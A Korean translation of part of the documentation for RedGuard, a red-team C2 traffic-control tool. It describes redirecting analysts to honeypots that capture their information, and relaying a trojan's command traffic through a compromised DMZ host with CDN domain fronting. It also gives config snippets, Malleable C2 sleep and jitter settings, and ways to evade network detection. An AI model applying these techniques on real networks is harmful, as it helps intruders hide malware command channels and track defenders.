## 허니팟 악의적 트랩
**악의적인 허니팟 트랩의 원리는 주로 RG 트래픽 유도의 하이재킹 응답 또는 리디렉션 기능에 의존하여, C2 시설을 평가하는 분석가를 허니팟 샌드박스 주소로 유도합니다. 하이재킹 응답 상태에서 RG는 인바운드 규칙을 충족하지 않는 요청 트래픽을 허니팟 자산으로 리디렉션합니다.** 더 강력한 허니팟(예: 운영자 휴대전화 번호를 캡처하는 허니팟)을 만나면 클라이언트는 대상 사이트의 응답에 따라 요청을 시작하고 jsonp에 의해 하이재킹되어 관련 정보를 획득합니다.
분석가가 C2 온라인 포트에 직접 접근하면 허니팟 자산으로 리디렉션되어 분석가에게 방해가 될 것이라고 상상해 보십시오. 분석가는 악의적으로 허니팟 자산을 요청하도록 유도되고, 허니팟 모니터링 끝에서는 블루 팀 분석가의 관련 정보를 캡처하여 오류를 추적합니다. 처음부터 분석 대상이 잘못되었다면 어떻게 좋은 결과를 얻을 수 있겠습니까? 이는 의심할 여지 없이 방어 팀에게 심각한 내부 마찰을 초래할 것입니다.
**허니팟 자산과 관련된 ZoomEye 핑거프린트 세트는 다음과 같습니다:**```bash
(iconhash:"9fd6f0e56f12adfc2a4da2f6002fea7a" (title:"然之协同" +"iframe" +">v.ignoreNotice")) ("/static/js/2.ca599e2d.chunk.js?t=" +title:"OA办公系统") ("data.sloss.xyz/get_code.js?access") ("/monitordevinfo/common.js") (app:"honeyport" +country:china +after:"2022-08-22")
이 효과를 얻는 방법은 매우 간단합니다. RG 설정 파일에서 관련 키 값을 변경하기만 하면 됩니다.```bash
drop_action = proxy
Redirect = https://market.baidu.com
**P.S. 모두가 설명 없이도 설정 방법을 알고 있다고 생각합니다:)**
이 방법은 일종의 교묘한 속임수로, 아이디어에 더 많이 반영됩니다. 더 활용하면 C2 프론트엔드 트래픽 제어 설비에 허니팟 캡처 기능을 배포한 후 인터랙티브 트래픽을 리디렉션할 수 있습니다. 효과는 기존 허니팟처럼 클라이언트의 브라우저 캐시 데이터를 획득할 수 있다는 것입니다. 하지만 개인적으로 공개 버전에서는 현재의 공격-방어 대결에 적용하는 것이 의미가 없을 수 있다고 생각합니다. 공격자가 블루팀 분석가의 사회적 정보를 캡처하여 추적하는 것은 의미가 없습니다. 물론 한 걸음 물러서서 생각하면 이로 인해 C2 샘플 분석이 더 위험해질 수 있습니다. 블랙 및 그레이 산업의 공격자가 분석가의 가상 신원을 획득할 수 있을 때, 가상 신원과 실제 신원을 전환할 수 있다면 여전히 상대적으로 위험합니다. **그래서 향후 연구 및 분석은 보다 신중하고 경계해야 한다고 생각합니다.**
## 에지 노드 링크 상호작용 기반 C2 트래픽
공격-방어 대결 시나리오에서 대부분의 조직망은 여전히 경계 기반 방어를 사용합니다. 여기서는 DMZ 영역의 외부 서버가 정상적인 비즈니스 환경에서 관련 접근 정책으로 구성되는 경우가 많다는 시나리오를 고려합니다. 이때 에지에 있는 외부 서버가 네트워크에 접근할 수 있지만 내부 호스트에 직접 접근할 수 없고, 내부망의 PC나 관련 서버가 공용 네트워크에 직접 접근하지 않지만 DMZ 영역의 비즈니스 서버에 접근할 수 있는 경우, 에지 노드의 호스트를 RG 노드로 사용하여 내부망 온라인 트래픽을 C2 설비로 전송할 수 있습니다. 기존의 프록시 전송 온라인과 매우 유사하게 들리나요? 그러나 이는 기술 구현의 한 형태일 뿐입니다. 더 많은 TIPS를 살펴보겠습니다.
관리 과정에서 에지 호스트를 장악했다고 가정하면, Shell 권한을 획득한 후 이 서버에 RG를 프론트엔드 노드로 배포합니다 **(실제 시나리오에서는 구성 파일이 프로그램에 하드코딩되어 있으며, 트로이 목마와 RG가 동일한 프로그램에 결합되어 있습니다)**.
**구성 파일은 다음과 같습니다:**
구체적인 구성에서는 화살표에 주목합니다. **위의 화살표 1은 내부 호스트와 에지 노드 간 상호작용을 위한 HOST 도메인 이름입니다**. 대상 조직의 특정 시나리오에 따라 관련 내부 도메인 이름을 설정하는 것이 좋습니다. 내부망의 두 호스트 간 내부 도메인 이름에 대한 트래픽 상호작용을 상상해보세요. BT가 직접 상호작용 트래픽을 차단할 용기가 있을까요? 물론 악성 상호작용 트래픽임을 판단할 수 있다면 말이죠. **화살표 2는 기존 도메인 프론트엔드 설정을 가리킵니다**. 이 키-값 쌍에서 키는 온라인 HOST에 해당하고 값은 프록시 주소에 해당합니다. 여기서는 동일한 CDN 제조업체를 사용하는 모든 HTTPS 도메인 이름으로 설정할 수 있습니다 **(CDN 노드 IP도 가능하며, http(s):// 프로토콜을 포함해야 함)**.
EdgeHost는 클라우드 서비스 제공업체의 도메인 프론트엔드에서 사용하는 도메인 이름으로, RG 에지 노드가 CDN 노드를 통해 C2와 상호작용할 때 사용하는 도메인 이름이기도 합니다. 네, RG는 정상 요청의 HOST 도메인 이름을 수정하여 정상적으로 통신할 수 있는 클라우드 서비스 CDN 도메인 이름으로 변경합니다.
EdgeTarget은 내부망 상호작용을 위한 도메인 이름으로, 화살표 1과 동일해야 합니다. 여기서 HOST에 설정된 도메인 이름으로 요청된 트래픽만 합법적인 것으로 간주되며, RG는 추가로 클라우드 서비스 CDN 도메인 이름으로 수정하여 후속 통신을 수행합니다.
**여기서 요약합니다:**
즉, 에지 노드와 내부망 호스트 간의 상호작용은 설정된 내부 도메인 이름을 통해 이루어집니다. 트로이 목마가 RG의 에지 노드에 요청을 보내면, 요청 트래픽 HOST가 구성 파일에 설정된 내부 도메인 이름인지 확인합니다. 일치하면 합법적인 것으로 간주합니다. RG는 HOST를 EdgeHost에서 설정한 클라우드 서비스 제공업체 CDN 도메인 이름으로 수정하여 후속 통신을 수행하고 트래픽을 C2 서버로 전송함으로써 전체 링크의 완전한 은폐와 높은 난독화를 달성합니다. 내부 도메인 이름이 에지 노드와 내부 도메인 이름으로 상호작용하지만, 에지 노드가 실제 프록시 주소와 상호작용 HOST를 추가로 변경하여 두 호스트 간에 비대칭적인 상호작용 정보를 만들어 추적을 더 어렵고 조사하기 어렵게 만든다고 상상해보세요.
**에지 노드와 내부망 호스트 간의 상호작용 트래픽, 위 그림 참조**
이 접근 방식의 또 다른 장점은 클라우드 샌드박스 환경에서 상호작용 IP가 내부망에 맞춰 커스터마이즈되므로 샌드박스가 분석 중에 내부망 IP에 대한 연결성 상관 분석을 수행할 수 없다는 것입니다.
구성 시 주의할 점은 트로이 목마 요청의 HOST가 다음과 같아야 한다는 것입니다:
- **HOST: 내부 도메인 이름 (RG 구성 파일에 설정)**
- **IP: 에지 호스트의 내부 IP**
- **온라인 포트: 443 (RG 구성 파일의 http(s) 수신 포트와 일치)**
- **수신 포트: C2가 실제로 온라인 상태인 포트**
C2 리스너 설정은 다음과 같습니다:
요청과 대조적으로, C2 리스너의 HOST는 클라우드 서비스 제공업체의 CDN 도메인 이름이어야 하며, 최종 트래픽이 C2 서버로 전송될 수 있으면 됩니다.
내부 노드 상호작용 트래픽은 아래 그림과 같으며, DMZ 영역의 내부 IP가 정상적으로 443 포트에 접근하는 것을 볼 수 있습니다. 내부 서버나 PC가 DMZ 영역의 비즈니스 시스템에 연결되는 것은 놀라운 일이 아닙니다.
에지 호스트의 상호작용 트래픽은 그림에 나와 있습니다. 실제 시나리오에서는 대량의 TIME_WAIT이 발생하지 않습니다. 여기서는 테스트를 위해 하트비트 패킷 Sleep을 0으로 설정했습니다. 실제 시나리오에서는 더 큰 하트비트 패킷 지터 및 Sleep 시간을 설정하는 것이 더 안전합니다. 그리고 개인적으로 HTTP 트래픽은 실제 시나리오에서 사용되지 않는다고 생각합니다. 평문 트래픽은 시간 낭비 아닌가요? 따라서 일반적으로 이 포트는 열리지 않습니다. RG 파일 이름을 Tomcat, Apache, Nginx 등으로 변경하여 상호작용을 더 혼란스럽게 보이게 할 것입니다.
하트비트 패킷 지터 및 Sleep 시간에 관해서는 Malleable C2 Profile 파일에서 다음 필드를 간단히 설정할 수 있습니다.```bash
set sleeptime "3000";
set jitter "20";
만약 이를 설정하지 않으면 비정상적인 하트비트 패킷 경보가 나타날 수 있습니다. 물론 대부분의 경우 연구자들은 이를 오탐(false alarm)으로 간주하고 무시합니다. 하지만 안전을 위해 설정하여 비정상적인 하트비트 패킷 경보가 발생하지 않도록 권장합니다. 당시 360 NDR 장비로 테스트했으며 구체적인 효과는 다음과 같습니다.
HTTPS 트래픽의 경우 시중의 어떤 트래픽 모니터링 장비도 트래픽을 검열할 수 없습니다. 현재 모니터링 장비는 기본적으로 민감 단어 매칭 방식입니다. 심지어 어느 제조사의 장비 데이터 패킷 탐지 대회에서는 평문 패킷을 사용하도록 요구하는데, 이로 인해 RT(Red Team)가 실제 전투 시나리오에서 실제로 평문 트래픽과 상호작용하는지 의문이 듭니다. 위에서 언급한 비대칭 상호작용 정보 외에도 이 방법의 가장 큰 장점은 RG 노드를 에지 노드에 배치하여 프론트엔드 트래픽 제어를 실현함으로써 일반 RG와 동일한 기능적 효과를 얻을 수 있다는 점입니다.
RG 노드의 백엔드 노드는 CDN 노드로 변환되어 C2 서버로 전달됩니다. 일반적인 시나리오에서 도메인의 프론트엔드 노드는 모두 1차 요청 노드로 사용되며, 에지 호스트는 RG 이후 온라인 상태가 됩니다. DMZ 영역의 비즈니스 시스템과 공용 네트워크 CDN IP 간의 상호작용 역시 매우 조화로워 보입니다. 이 과정에서 내부 네트워크 호스트나 에지 호스트 모두 C2와 직접 상호작용하지 않으며, 이것이 바로 이 고급 은폐 기술의 우아함입니다.
물론 netsh 및 iptables 프록시 전송에 비해 위에서 언급한 장점 외에도 간단한 구성과 구성 기록이 없다는 점도 장점 중 하나입니다.
지지해 주셔서 감사합니다. RedGuard는 계속해서 개선 및 업데이트될 예정입니다. RedGuard가 더 많은 보안 실무자들에게 알려지길 바랍니다. 이 도구는 RedWarden의 설계 아이디어를 참고했습니다.
여러분의 요구사항을 자유롭게 제안해 주세요. RedGuard는 이러한 요구사항 속에서 계속 성장하고 개선될 것입니다!
개발자 风起 관련 기사: https://www.anquanke.com/member.html?memberId=148652
2022 Kcon 해커 컨퍼런스 무기 스펙트럼 저자
제10회 ISC 인터넷 보안 컨퍼런스 고급 공격 및 방어 포럼 "C2 프론트 흐름 제어" 주제
경계 노드 링크 기반 C2 트래픽 교환
https://www.anquanke.com/post/id/278140
클라우드 샌드박스 흐름 식별 기술 분석
https://www.anquanke.com/post/id/277431
JARM 지문 무작위화 기술 구현
https://www.anquanke.com/post/id/276546
C2 인프라 위협 인텔리전스 대응
Kunyu: https://github.com/knownsec/Kunyu
바람은 푸른 개구리밥 끝에서 일고, 물결은 잔잔한 잔물결 사이에서 일어난다.
질문이나 요구사항이 있으시면 프로젝트 아래에 이슈를 제출하거나, 위챗을 추가하여 개발자에게 연락하실 수 있습니다.
| IP | 포트 | 프로토콜 | 서비스 | 국가 | 도시 | 제목 | 시간 |
|---|
| 103.211.xx.90 | 443 | https | Apache httpd | 중국 | Suzhou | 百度图片-发现多彩世界 | 2023-08-28 |
| 223.113.xx.207 | 443 | https | JSP3 | 중국 | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.112.xx.48 | 443 | https | JSP3 | 중국 | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.113.xx.40 | 443 | https | JSP3 | 중국 | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.113.xx.31 | 443 | https | JSP3 | 중국 | 405 Not Allowed | 2023-08-28 | |
| 223.113.xx.206 | 443 | https | JSP3 | 중국 | Xuzhou | 403 Forbidden | 2023-08-28 |